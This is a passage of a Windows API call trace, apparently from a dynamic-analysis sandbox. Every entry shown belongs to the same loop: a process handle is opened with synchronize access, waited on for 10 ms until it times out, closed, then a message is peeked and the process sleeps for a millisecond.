(dwMilliseconds=0x1) [0238.996] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2d0 [0238.997] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xa) returned 0x102 [0239.012] CloseHandle (hObject=0x2d0) returned 1 [0239.012] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0239.012] Sleep (dwMilliseconds=0x1) [0239.028] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2d0 [0239.028] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xa) returned 0x102 [0239.043] CloseHandle (hObject=0x2d0) returned 1 [0239.043] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0239.043] Sleep (dwMilliseconds=0x1) [0239.059] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2d0 [0239.059] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xa) returned 0x102 [0239.074] CloseHandle (hObject=0x2d0) returned 1 [0239.074] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0239.074] Sleep (dwMilliseconds=0x1) [0239.090] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2d0 [0239.090] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xa) returned 0x102 [0239.106] CloseHandle (hObject=0x2d0) returned 1 [0239.106] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0239.106] Sleep (dwMilliseconds=0x1) [0239.802] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2d4 [0239.802] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xa) returned 0x102 [0239.807] CloseHandle (hObject=0x2d4) returned 1 [0239.807] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0239.807] Sleep (dwMilliseconds=0x1) [0239.822] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2d4 [0239.822] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xa) returned 0x102 [0239.838] CloseHandle (hObject=0x2d4) returned 1 [0239.838] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0239.838] Sleep (dwMilliseconds=0x1) [0239.859] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2d4 [0239.859] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xa) returned 0x102 [0239.869] CloseHandle (hObject=0x2d4) returned 1 [0239.869] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0239.869] Sleep (dwMilliseconds=0x1) [0239.885] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2d4 [0239.885] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xa) returned 0x102 [0239.903] CloseHandle (hObject=0x2d4) returned 1 [0239.903] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0239.903] Sleep (dwMilliseconds=0x1) [0239.916] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2d4 [0239.916] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xa) returned 0x102 [0239.970] CloseHandle (hObject=0x2d4) returned 1 [0239.970] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0239.970] Sleep (dwMilliseconds=0x1) [0239.978] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0239.978] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0240.754] CloseHandle (hObject=0x2f8) returned 1 [0240.754] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0240.754] Sleep (dwMilliseconds=0x1) [0240.764] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f4 [0240.764] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0xa) returned 0x102 [0240.776] CloseHandle (hObject=0x2f4) returned 1 [0240.776] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0240.776] Sleep (dwMilliseconds=0x1) [0241.897] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0241.897] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0241.902] CloseHandle (hObject=0x2f8) returned 1 [0241.902] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0241.902] Sleep (dwMilliseconds=0x1) [0241.916] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0241.916] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0241.932] CloseHandle (hObject=0x2f8) returned 1 [0241.932] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0241.932] Sleep (dwMilliseconds=0x1) [0241.947] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0241.947] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0241.963] CloseHandle (hObject=0x2f8) returned 1 [0241.963] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0241.963] Sleep (dwMilliseconds=0x1) [0241.978] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0241.979] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0241.995] CloseHandle (hObject=0x2f8) returned 1 [0241.995] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0241.995] Sleep (dwMilliseconds=0x1) [0242.010] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0242.010] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0242.025] CloseHandle (hObject=0x2f8) returned 1 [0242.025] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0242.025] Sleep (dwMilliseconds=0x1) [0242.041] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0242.041] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0242.057] CloseHandle (hObject=0x2f8) returned 1 [0242.057] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0242.057] Sleep (dwMilliseconds=0x1) [0242.072] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0242.072] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0242.088] CloseHandle (hObject=0x2f8) returned 1 [0242.088] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0242.088] Sleep (dwMilliseconds=0x1) [0242.104] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0242.104] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0242.119] CloseHandle (hObject=0x2f8) returned 1 [0242.119] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0242.119] Sleep (dwMilliseconds=0x1) [0242.135] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0242.135] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0242.151] CloseHandle (hObject=0x2f8) returned 1 [0242.151] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0242.151] Sleep (dwMilliseconds=0x1) [0242.167] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0242.168] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0242.182] CloseHandle (hObject=0x2f8) returned 1 [0242.182] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0242.182] Sleep (dwMilliseconds=0x1) [0242.197] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0242.197] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0242.214] CloseHandle (hObject=0x2f8) returned 1 [0242.214] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0242.214] Sleep (dwMilliseconds=0x1) [0242.228] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0242.229] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0242.244] CloseHandle (hObject=0x2f8) returned 1 [0242.244] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0242.244] Sleep (dwMilliseconds=0x1) [0242.260] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0242.260] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0242.275] CloseHandle (hObject=0x2f8) returned 1 [0242.276] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0242.276] Sleep (dwMilliseconds=0x1) [0242.291] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0242.291] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0242.307] CloseHandle (hObject=0x2f8) returned 1 [0242.307] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0242.307] Sleep (dwMilliseconds=0x1) [0242.323] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0242.323] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0242.338] CloseHandle (hObject=0x2f8) returned 1 [0242.338] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0242.338] Sleep (dwMilliseconds=0x1) [0242.354] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0242.354] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0242.382] CloseHandle (hObject=0x2f8) returned 1 [0242.382] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0242.383] Sleep (dwMilliseconds=0x1) [0242.385] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0242.385] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0242.401] CloseHandle (hObject=0x2f8) returned 1 [0242.401] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0242.401] Sleep (dwMilliseconds=0x1) [0242.417] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0242.417] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0242.432] CloseHandle (hObject=0x2f8) returned 1 [0242.432] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0242.432] Sleep (dwMilliseconds=0x1) [0242.447] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0242.447] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0242.464] CloseHandle (hObject=0x2f8) returned 1 [0242.464] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0242.464] Sleep (dwMilliseconds=0x1) [0242.479] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0242.479] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0242.494] CloseHandle (hObject=0x2f8) returned 1 [0242.494] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0242.494] Sleep (dwMilliseconds=0x1) [0242.511] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0242.511] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0242.525] CloseHandle (hObject=0x2f8) returned 1 [0242.525] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0242.525] Sleep (dwMilliseconds=0x1) [0242.541] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0242.541] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0242.557] CloseHandle (hObject=0x2f8) returned 1 [0242.557] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0242.557] Sleep (dwMilliseconds=0x1) [0242.572] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0242.572] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0242.588] CloseHandle (hObject=0x2f8) returned 1 [0242.588] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0242.588] Sleep (dwMilliseconds=0x1) [0242.603] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0242.603] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0242.619] CloseHandle (hObject=0x2f8) returned 1 [0242.619] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0242.619] Sleep (dwMilliseconds=0x1) [0242.635] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0242.635] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0242.651] CloseHandle (hObject=0x2f8) returned 1 [0242.651] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0242.651] Sleep (dwMilliseconds=0x1) [0242.666] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0242.666] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0242.682] CloseHandle (hObject=0x2f8) returned 1 [0242.682] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0242.682] Sleep (dwMilliseconds=0x1) [0242.697] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0242.698] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0242.715] CloseHandle (hObject=0x2f8) returned 1 [0242.715] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0242.715] Sleep (dwMilliseconds=0x1) [0242.728] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0242.728] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0242.744] CloseHandle (hObject=0x2f8) returned 1 [0242.744] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0242.744] Sleep (dwMilliseconds=0x1) [0242.760] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0242.760] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0242.776] CloseHandle (hObject=0x2f8) returned 1 [0242.776] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0242.776] Sleep (dwMilliseconds=0x1) [0242.791] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0242.791] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0242.807] CloseHandle (hObject=0x2f8) returned 1 [0242.807] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0242.807] Sleep (dwMilliseconds=0x1) [0242.822] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0242.822] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0242.838] CloseHandle (hObject=0x2f8) returned 1 [0242.838] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0242.838] Sleep (dwMilliseconds=0x1) [0242.853] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0242.854] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0242.924] CloseHandle (hObject=0x2f8) returned 1 [0242.924] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0242.924] Sleep (dwMilliseconds=0x1) [0242.939] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0242.939] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0242.948] CloseHandle (hObject=0x2f8) returned 1 [0242.948] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0242.948] Sleep (dwMilliseconds=0x1) [0242.963] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0242.963] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0242.979] CloseHandle (hObject=0x2f8) returned 1 [0242.979] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0242.979] Sleep (dwMilliseconds=0x1) [0242.997] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0242.997] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0243.010] CloseHandle (hObject=0x2f8) returned 1 [0243.010] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0243.010] Sleep (dwMilliseconds=0x1) [0243.026] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0243.026] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0243.041] CloseHandle (hObject=0x2f8) returned 1 [0243.041] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0243.041] Sleep (dwMilliseconds=0x1) [0243.057] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0243.058] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0243.077] CloseHandle (hObject=0x2f8) returned 1 [0243.077] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0243.078] Sleep (dwMilliseconds=0x1) [0243.088] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0243.088] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0243.108] CloseHandle (hObject=0x2f8) returned 1 [0243.108] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0243.109] Sleep (dwMilliseconds=0x1) [0243.128] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0243.128] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0243.135] CloseHandle (hObject=0x2f8) returned 1 [0243.135] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0243.135] Sleep (dwMilliseconds=0x1) [0243.151] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0243.151] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0243.168] CloseHandle (hObject=0x2f8) returned 1 [0243.169] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0243.169] Sleep (dwMilliseconds=0x1) [0243.182] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0243.182] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0243.197] CloseHandle (hObject=0x2f8) returned 1 [0243.197] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0243.197] Sleep (dwMilliseconds=0x1) [0243.213] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0243.213] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0243.230] CloseHandle (hObject=0x2f8) returned 1 [0243.230] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0243.230] Sleep (dwMilliseconds=0x1) [0243.244] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0243.244] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0243.260] CloseHandle (hObject=0x2f8) returned 1 [0243.260] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0243.260] Sleep (dwMilliseconds=0x1) [0243.276] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0243.276] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0243.293] CloseHandle (hObject=0x2f8) returned 1 [0243.293] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0243.293] Sleep (dwMilliseconds=0x1) [0243.307] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0243.307] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0243.322] CloseHandle (hObject=0x2f8) returned 1 [0243.322] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0243.322] Sleep (dwMilliseconds=0x1) [0243.338] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0243.338] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0243.357] CloseHandle (hObject=0x2f8) returned 1 [0243.357] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0243.357] Sleep (dwMilliseconds=0x1) [0243.382] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0243.382] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0243.385] CloseHandle (hObject=0x2f8) returned 1 [0243.385] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0243.385] Sleep (dwMilliseconds=0x1) [0243.401] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0243.401] WaitForSingleObject 